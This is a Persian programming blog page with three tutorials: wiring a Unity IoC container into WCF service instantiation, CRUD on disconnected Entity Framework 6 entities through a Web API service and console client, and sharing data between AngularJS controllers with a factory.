با پیاده سازی متد‌های اینترفیس IInstanceProvider می‌توان عملیات وهله سازی سرویس‌های WCF را تغییر داد. متد GetInstance همین کار را برای ما انجام خواهد داد. در این متد ما با توجه به نوع ServiceType سرویس مورد نظر را از ServiceLocator تامین خواهیم کرد. چون وابستگی‌های سرویس هم در IOC Cotnainer موجود است در نتیجه سرویس به درستی وهله سازی خواهد شد. از آن جا که در WCF  عملیات وهله سازی از سرویس‌ها به طور مستقیم به نوع سرویس بستگی دارد، هیچ نیازی به نوع Contract مربوطه نیست. در نتیجه Service Type به صورت مستقیم در اختیار این کلاس قرار خواهد گرفت. مرحله آخر معرفی IInstanceProvider به عنوان یک Service Behavior است. برای این کار کد‌های زیر را در کلاسی به نام UnityInstanceProviderContext کپی نمایید:
public class UnityInstanceProviderContext : IServiceBehavior
    {
        public void AddBindingParameters( ServiceDescription serviceDescription , ServiceHostBase serviceHostBase , Collection<ServiceEndpoint> endpoints , BindingParameterCollection bindingParameters )
        {
        }

        public void ApplyDispatchBehavior( ServiceDescription serviceDescription , ServiceHostBase serviceHostBase )
        {
            serviceHostBase.ChannelDispatchers.ToList().ForEach( channelDispatcherBase =>
                {
                    var channelDispatcher = ( channelDispatcherBase as ChannelDispatcher );
                    if ( channelDispatcher != null )
                    {
                        channelDispatcher.Endpoints.ToList().ForEach( endpoint =>
                            {
                                endpoint.DispatchRuntime.InstanceProvider = new UnityInstanceProvinder( serviceDescription.ServiceType );
                            } );
                    }
                } );
        }

        public void Validate( ServiceDescription serviceDescription , ServiceHostBase serviceHostBase )
        {
        }
    }
در متد ApplyDispatchBehavior همان طور دیده می‌شود به ازای تمام EndPoint‌های هر ChannelDispatcher یک نمونه از کلاس UnityInstanceProvider به همراه پارامتر سازنده آن که نوع سرویس مورد نظر است به خاصیت InstanceProvider در DispatchRuntime معرفی می‌گردد.
در هنگام هاست سرویس مورد نظر هم باید تمام این عملیات به عنوان یک Behavior در اختیار ُService Host قرار گیرد.همانند نمونه کد ذیل:
using (ServiceHost host = new ServiceHost(typeof(BookService)))
{
                    host.Description.Behaviors.Add( new UnityInstanceProviderContext() );
 }
مطالب
استفاده از EF در اپلیکیشن های N-Tier : قسمت اول
تمام اپلیکیشن‌ها را نمی‌توان در یک پروسس بسته بندی کرد، بدین معنا که تمام اپلیکیشن روی یک سرور فیزیکی قرار گیرد. در عصر حاظر معماری بسیاری از اپلیکیشن‌ها چند لایه است و هر لایه روی سرور مجزایی توزیع می‌شود. بعنوان مثال یک معماری کلاسیک شامل سه لایه نمایش (presentation)، اپلیکیشن (application) و داده (data) است. لایه بندی منطقی (logical layering) یک اپلیکیشن می‌تواند در یک App Domain واحد پیاده سازی شده و روی یک کامپیوتر میزبانی شود. در این صورت لازم نیست نگران مباحثی مانند پراکسی ها، مرتب سازی (serialization)، پروتوکل‌های شبکه و غیره باشیم. اما اپلیکیشن‌های بزرگی که چندین کلاینت دارند و در مراکز داده میزبانی می‌شوند باید تمام این مسائل را در نظر بگیرند. خوشبختانه پیاده سازی چنین اپلیکیشن هایی با استفاده از Entity Framework و دیگر تکنولوژی‌های مایکروسافت مانند WCF, Web API ساده‌تر شده است. منظور از n-Tier معماری اپلیکیشن هایی است که لایه‌های نمایش، منطق تجاری و دسترسی داده هر کدام روی سرور مجزایی میزبانی می‌شوند. این تفکیک فیزیکی لایه‌ها به بسط پذیری، مدیریت و نگهداری اپلیکیشن‌ها در دراز مدت کمک می‌کند، اما معمولا تاثیری منفی روی کارایی کلی سیستم دارد. چرا که برای انجام عملیات مختلف باید از محدوده ماشین‌های فیریکی عبور کنیم.

معماری N-Tier چالش‌های بخصوصی را برای قابلیت‌های change-tracking در EF اضافه می‌کند. در ابتدا داده‌ها توسط یک آبجکت EF Context بارگذاری می‌شوند اما این آبجکت پس از ارسال داده‌ها به کلاینت از بین می‌رود. تغییراتی که در سمت کلاینت روی داده‌ها اعمال می‌شوند ردیابی (track) نخواهند شد. هنگام بروز رسانی، آبجکت Context جدیدی برای پردازش اطلاعات ارسالی باید ایجاد شود. مسلما آبجکت جدید هیچ چیز درباره Context پیشین یا مقادیر اصلی موجودیت‌ها نمی‌داند.

در نسخه‌های قبلی Entity Framework توسعه دهندگان با استفاده از قالب ویژه ای بنام Self-Tracking Entities می‌توانستند تغییرات موجودیت‌‌ها را ردیابی کنند. این قابلیت در نسخه EF 6 از رده خارج شده است و گرچه هنوز توسط ObjectContext پشتیبانی می‌شود، آبجکت DbContext از آن پشتیبانی نمی‌کند.

در این سری از مقالات روی عملیات پایه CRUD تمرکز می‌کنیم که در اکثر اپلیکیشن‌های n-Tier استفاده می‌شوند. همچنین خواهیم دید چگونه می‌توان تغییرات موجودیت‌ها را ردیابی کرد. مباحثی مانند همزمانی (concurrency) و مرتب سازی (serialization) نیز بررسی خواهند شد. در قسمت یک این سری مقالات، به بروز رسانی موجودیت‌های منفصل (disconnected) توسط سرویس‌های Web API نگاهی خواهیم داشت.


بروز رسانی موجودیت‌های منفصل با Web API

سناریویی را فرض کنید که در آن برای انجام عملیات CRUD از یک سرویس Web API استفاده می‌شود. همچنین مدیریت داده‌ها با مدل Code-First پیاده سازی شده است. در مثال جاری یک کلاینت Console Application خواهیم داشت که یک سرویس Web API را فراخوانی می‌کند. توجه داشته باشید که هر اپلیکیشن در Solution مجزایی قرار دارد. تفکیک پروژه‌ها برای شبیه سازی یک محیط n-Tier انجام شده است.

فرض کنید مدلی مانند تصویر زیر داریم.

همانطور که می‌بینید مدل جاری، سفارشات یک اپلیکیشن فرضی را معرفی می‌کند. می‌خواهیم مدل و کد دسترسی به داده‌ها را در یک سرویس Web API پیاده سازی کنیم، تا هر کلاینتی که از HTTP استفاده می‌کند بتواند عملیات CRUD را انجام دهد. برای ساختن سرویس مورد نظر مراحل زیر را دنبال کنید.

  • در ویژوال استودیو پروژه جدیدی از نوع ASP.NET Web Application بسازید و قالب پروژه را Web API انتخاب کنید. نام پروژه را به Recipe1.Service تغییر دهید.
  • کنترلر جدیدی از نوع WebApi Controller با نام OrderController به پروژه اضافه کنید.
  • کلاس جدیدی با نام Order در پوشه مدل‌ها ایجاد کنید و کد زیر را به آن اضافه نمایید.
public class Order
{
    public int OrderId { get; set; }
    public string Product { get; set; }
    public int Quantity { get; set; }
    public string Status { get; set; }
    public byte[] TimeStamp { get; set; }
}
  • با استفاده از NuGet Package Manager کتابخانه Entity Framework 6 را به پروژه اضافه کنید.
  • حال کلاسی با نام Recipe1Context ایجاد کنید و کد زیر را به آن اضافه نمایید.
public class Recipe1Context : DbContext
{
    public Recipe1Context() : base("Recipe1ConnectionString") { }
    
    public DbSet<Order> Orders { get; set; }
    
    protected override void OnModelCreating(DbModelBuilder modelBuilder)
    {
        modelBuilder.Entity<Order>().ToTable("Orders");
        // Following configuration enables timestamp to be concurrency token
        modelBuilder.Entity<Order>().Property(x => x.TimeStamp)
            .IsConcurrencyToken()
            .HasDatabaseGeneratedOption(DatabaseGeneratedOption.Computed);
    }
}

  • فایل Web.config پروژه را باز کنید و رشته اتصال زیر را به قسمت ConnectionStrings اضافه نمایید.
<connectionStrings>
  <add name="Recipe1ConnectionString"
    connectionString="Data Source=.;
    Initial Catalog=EFRecipes;
    Integrated Security=True;
    MultipleActiveResultSets=True"
    providerName="System.Data.SqlClient" />
</connectionStrings>
  • فایل Global.asax را باز کنید و کد زیر را به آن اضافه نمایید. این کد بررسی Entity Framework Compatibility را غیرفعال می‌کند.
protected void Application_Start()
{
    // Disable Entity Framework Model Compatibilty
    Database.SetInitializer<Recipe1Context>(null);
    ...
}
  • در آخر کد کنترلر Order را با لیست زیر جایگزین کنید.
public class OrderController : ApiController
{
    // GET api/order
    public IEnumerable<Order> Get()
    {
        using (var context = new Recipe1Context())
        {
            return context.Orders.ToList();
        }
    }

    // GET api/order/5
    public Order Get(int id)
    {
        using (var context = new Recipe1Context())
        {
            return context.Orders.FirstOrDefault(x => x.OrderId == id);
        }
    }

    // POST api/order
    public HttpResponseMessage Post(Order order)
    {
        // Cleanup data from previous requests
        Cleanup();
        
        using (var context = new Recipe1Context())
        {
            context.Orders.Add(order);
            context.SaveChanges();
            // create HttpResponseMessage to wrap result, assigning Http Status code of 201,
            // which informs client that resource created successfully
            var response = Request.CreateResponse(HttpStatusCode.Created, order);
            // add location of newly-created resource to response header
            response.Headers.Location = new Uri(Url.Link("DefaultApi",
                new { id = order.OrderId }));
            return response;
        }
    }

    // PUT api/order/5
    public HttpResponseMessage Put(Order order)
    {
        using (var context = new Recipe1Context())
        {
            context.Entry(order).State = EntityState.Modified;
            context.SaveChanges();
            // return Http Status code of 200, informing client that resouce updated successfully
            return Request.CreateResponse(HttpStatusCode.OK, order);
        }
    }

    // DELETE api/order/5
    public HttpResponseMessage Delete(int id)
    {
        using (var context = new Recipe1Context())
        {
            var order = context.Orders.FirstOrDefault(x => x.OrderId == id);
            context.Orders.Remove(order);
            context.SaveChanges();
            // Return Http Status code of 200, informing client that resouce removed successfully
            return Request.CreateResponse(HttpStatusCode.OK);
        }
    }

    private void Cleanup()
    {
        using (var context = new Recipe1Context())
        {
            context.Database.ExecuteSqlCommand("delete from [orders]");
        }
    }
}

قابل ذکر است که هنگام استفاده از Entity Framework در MVC یا Web API، بکارگیری قابلیت Scaffolding بسیار مفید است. این فریم ورک‌های ASP.NET می‌توانند کنترلرهایی کاملا اجرایی برایتان تولید کنند که صرفه جویی چشمگیری در زمان و کار شما خواهد بود.

در قدم بعدی اپلیکیشن کلاینت را می‌سازیم که از سرویس Web API استفاده می‌کند.

  • در ویژوال استودیو پروژه جدیدی از نوع Console Application بسازید و نام آن را به Recipe1.Client تغییر دهید.
  • کلاس موجودیت Order را به پروژه اضافه کنید. همان کلاسی که در سرویس Web API ساختیم.

نکته: قسمت هایی از اپلیکیشن که باید در لایه‌های مختلف مورد استفاده قرار گیرند - مانند کلاس‌های موجودیت‌ها - بهتر است در لایه مجزایی قرار داده شده و به اشتراک گذاشته شوند. مثلا می‌توانید پروژه ای از نوع Class Library بسازید و تمام موجودیت‌ها را در آن تعریف کنید. سپس لایه‌های مختلف این پروژه را ارجاع خواهند کرد.

فایل program.cs را باز کنید و کد زیر را به آن اضافه نمایید.

private HttpClient _client;
private Order _order;

private static void Main()
{
    Task t = Run();
    t.Wait();
    
    Console.WriteLine("\nPress <enter> to continue...");
    Console.ReadLine();
}

private static async Task Run()
{
    // create instance of the program class
    var program = new Program();
    program.ServiceSetup();
    program.CreateOrder();
    // do not proceed until order is added
    await program.PostOrderAsync();
    program.ChangeOrder();
    // do not proceed until order is changed
    await program.PutOrderAsync();
    // do not proceed until order is removed
    await program.RemoveOrderAsync();
}

private void ServiceSetup()
{
    // map URL for Web API cal
    _client = new HttpClient { BaseAddress = new Uri("http://localhost:3237/") };
    // add Accept Header to request Web API content
    // negotiation to return resource in JSON format
    _client.DefaultRequestHeaders.Accept.
        Add(new MediaTypeWithQualityHeaderValue("application/json"));
}

private void CreateOrder()
{
    // Create new order
    _order = new Order { Product = "Camping Tent", Quantity = 3, Status = "Received" };
}

private async Task PostOrderAsync()
{
    // leverage Web API client side API to call service
    var response = await _client.PostAsJsonAsync("api/order", _order);
    Uri newOrderUri;
    
    if (response.IsSuccessStatusCode)
    {
        // Capture Uri of new resource
        newOrderUri = response.Headers.Location;
        // capture newly-created order returned from service,
        // which will now include the database-generated Id value
        _order = await response.Content.ReadAsAsync<Order>();
        Console.WriteLine("Successfully created order. Here is URL to new resource: {0}",  newOrderUri);
    }
    else
        Console.WriteLine("{0} ({1})", (int)response.StatusCode, response.ReasonPhrase);
}

private void ChangeOrder()
{
    // update order
    _order.Quantity = 10;
}

private async Task PutOrderAsync()
{
    // construct call to generate HttpPut verb and dispatch
    // to corresponding Put method in the Web API Service
    var response = await _client.PutAsJsonAsync("api/order", _order);
    
    if (response.IsSuccessStatusCode)
    {
        // capture updated order returned from service, which will include new quanity
        _order = await response.Content.ReadAsAsync<Order>();
        Console.WriteLine("Successfully updated order: {0}", response.StatusCode);
    }
    else
        Console.WriteLine("{0} ({1})", (int)response.StatusCode, response.ReasonPhrase);
}

private async Task RemoveOrderAsync()
{
    // remove order
    var uri = "api/order/" + _order.OrderId;
    var response = await _client.DeleteAsync(uri);

    if (response.IsSuccessStatusCode)
        Console.WriteLine("Sucessfully deleted order: {0}", response.StatusCode);
    else
        Console.WriteLine("{0} ({1})", (int)response.StatusCode, response.ReasonPhrase);
}

اگر اپلیکیشن کلاینت را اجرا کنید باید با خروجی زیر مواجه شوید:

Successfully created order: http://localhost:3237/api/order/1054
Successfully updated order: OK
Sucessfully deleted order: OK

شرح مثال جاری

با اجرای اپلیکیشن Web API شروع کنید. این اپلیکیشن یک کنترلر Web API دارد که پس از اجرا شما را به صفحه خانه هدایت می‌کند. در این مرحله اپلیکیشن در حال اجرا است و سرویس‌های ما قابل دسترسی هستند.

حال اپلیکیشن کنسول را باز کنید. روی خط اول کد program.cs یک breakpoint تعریف کرده و اپلیکیشن را اجرا کنید. ابتدا آدرس سرویس Web API را پیکربندی کرده و خاصیت Accept Header را مقدار دهی می‌کنیم. با این کار از سرویس مورد نظر درخواست می‌کنیم که داده‌ها را با فرمت JSON بازگرداند. سپس یک آبجکت Order می‌سازیم و با فراخوانی متد PostAsJsonAsync آن را به سرویس ارسال می‌کنیم. این متد روی آبجکت HttpClient تعریف شده است. اگر به اکشن متد Post در کنترلر Order یک breakpoint اضافه کنید، خواهید دید که این متد سفارش جدید را بعنوان یک پارامتر دریافت می‌کند و آن را به لیست موجودیت‌ها در Context جاری اضافه می‌نماید. این عمل باعث می‌شود که آبجکت جدید بعنوان Added علامت گذاری شود، در این مرحله Context جاری شروع به ردیابی تغییرات می‌کند. در آخر با فراخوانی متد SaveChanges داده‌ها را ذخیره می‌کنیم. در قدم بعدی کد وضعیت 201 (Created) و آدرس منبع جدید را در یک آبجکت HttpResponseMessage قرار می‌دهیم و به کلاینت ارسال می‌کنیم. هنگام استفاده از Web API باید اطمینان حاصل کنیم که کلاینت‌ها درخواست‌های ایجاد رکورد جدید را بصورت POST ارسال می‌کنند. درخواست‌های HTTP Post بصورت خودکار به اکشن متد متناظر نگاشت می‌شوند.

در مرحله بعد عملیات بعدی را اجرا می‌کنیم، تعداد سفارش را تغییر می‌دهیم و موجودیت جاری را با فراخوانی متد PutAsJsonAsync به سرویس Web API ارسال می‌کنیم. اگر به اکشن متد Put در کنترلر سرویس یک breakpoint اضافه کنید، خواهید دید که آبجکت سفارش بصورت یک پارامتر دریافت می‌شود. سپس با فراخوانی متد Entry و پاس دادن موجودیت جاری بعنوان رفرنس، خاصیت State را به Modified تغییر می‌دهیم، که این کار موجودیت را به Context جاری می‌چسباند. حال فراخوانی متد SaveChanges یک اسکریپت بروز رسانی تولید خواهد کرد. در مثال جاری تمام فیلدهای آبجکت Order را بروز رسانی می‌کنیم. در شماره‌های بعدی این سری از مقالات، خواهیم دید چگونه می‌توان تنها فیلدهایی را بروز رسانی کرد که تغییر کرده اند. در آخر عملیات را با بازگرداندن کد وضعیت 200 (OK) به اتمام می‌رسانیم.

در مرحله بعد، عملیات نهایی را اجرا می‌کنیم که موجودیت Order را از منبع داده حذف می‌کند. برای اینکار شناسه (Id) رکورد مورد نظر را به آدرس سرویس اضافه می‌کنیم و متد DeleteAsync را فراخوانی می‌کنیم. در سرویس Web API رکورد مورد نظر را از دیتابیس دریافت کرده و متد Remove را روی Context جاری فراخوانی می‌کنیم. این کار موجودیت مورد نظر را بعنوان Deleted علامت گذاری می‌کند. فراخوانی متد SaveChanges یک اسکریپت Delete تولید خواهد کرد که نهایتا منجر به حذف شدن رکورد می‌شود.

در یک اپلیکیشن واقعی بهتر است کد دسترسی داده‌ها از سرویس Web API تفکیک شود و در لایه مجزایی قرار گیرد.

مطالب
به اشتراک گذاری داده ها بین کنترلرها در AngularJs
در پست قبلی با مفاهیم کنترلر و مدل در AngularJs آشنا شدید. قصد دارم روشی را بررسی کنم که یک منبع داده را بین کنترل‌های تعریف شده در یک ماژول را به اشتراک بگذاریم.
ابتدا یک فایل جاوااسکریپ به نام module1 ایجاد می‌کنیم . در این فایل ابتدا ماژول خود را به Angular معرفی کرده و سپس با استفاده از دستور factory سرویس مورد نظر برای به اشتراک گذاری داده را می‌سازیم:
var app = angular.module('myApp', []);

app.factory('BookData', function () {
    var books = [
        { code: 1, name: 'book1', },
        { code: 2, name: 'book2', },
        { code: 3, name: 'book3', },
        { code: 4, name: 'book4', },
        { code: 5, name: 'book5', }
    ];
    return books;    
});
همان طور که در پست قبلی شرح داده شده برای تعریف ماژول از دستور angular.module استفاده می‌کنیم. در خط بعدی یک سرویس به نام BookData را با استفاده از دستور factory در ماژول مربوطه ساخته می‌شود. تابع مورد نظر بک آرایه از کتاب‌ها را که هر کدام از آن‌ها شامل کد و نام است برگشت می‌دهد. قصد داریم کنترل‌های تعریف شده در ماژول myApp بتوانند به این لیست این کتاب‌ها دسترسی داشته باشند. در این مرحله ابتدا یک کنترلر به نام  به controller1 به صورت زیر می‌سازیم:
app.controller('controller1', function ($scope, BookData) {
    $scope.books = BookData;
});
تنها نکته قابل ذکر، تزریق مقادیر scope$ و BookData به تابع سازنده کنترلر مربوطه است. از scope$ برای مقید سازی مقادیر مدل به عناصر dom در view استفاده می‌شود و BookData در این جا دقیقا به مقدار برگشت داده شده از سرویس BookData اشاره می‌کند(نام سرویس مورد نظر دقیقا باید با مقداری که به عنوان آرگومان اول در تابع factory پاس می‌دهید یکی باشد). در نتیجه این مقدار را به متغیر books در scope$ نسبت می‌دهیم. برای کنترلر دوم نیز همین مراحل را تکرار می‌کنیم:
app.controller('controller2', function ($scope, BookData) {
    $scope.books = BookData;
});
در View مورد نظر نیز یک ارجاع به فایل ساخته شده بالا خواهیم داشت و سپس کدهای مربوط به نمایش را به صورت زیر می‌نویسیم(البته ارجاع به فایل اصلی angular.js فراموش نشود):

<script type="text/javascript" src="~/scripts/app/controller1.js"></script>  
<div ng-app="myApp"> <div ng-controller="controller1"> <p>Data from controller1</p> <table> <tr ng-repeat="book in books"> <td> {{book.code}} </td> <td> {{book.name}} </td> </tr> </table> </div> <div ng-controller="controller2"> <p>Data from controller2</p> <table> <tr ng-repeat="book in books"> <td> {{book.code}} </td> <td> {{book.name}} </td> </tr> </table> </div> </div>
ابتدا در تگ div اول با استفاده از ng-app محدوده ماژول مورد نظر در صفحه را تعیین کرده سپس با استفاده از تگ‌های div جداگانه  هر کدام از نواحی تحت کنترل مربوط به کنترلر‌های تعریف شده را مشخص می‌کنیم.
با استفاده از ng-repeat به راحتی در بین آرایه کتاب‌ها پیمایش کرده و لیست مورد نظر در صفحه نمایش داده می‌شود. (توضیحات مربوط به ng-repeat و {{}} در پست قبلی شرح داده شده است). خروجی به صورت زیر خواهد بود. واضح است که اطلاعات نمایش داده شده توسط هر دو کنترلر به دلیل استفاده از منبع داده ای یکسان، به یک شکل خواهد بود.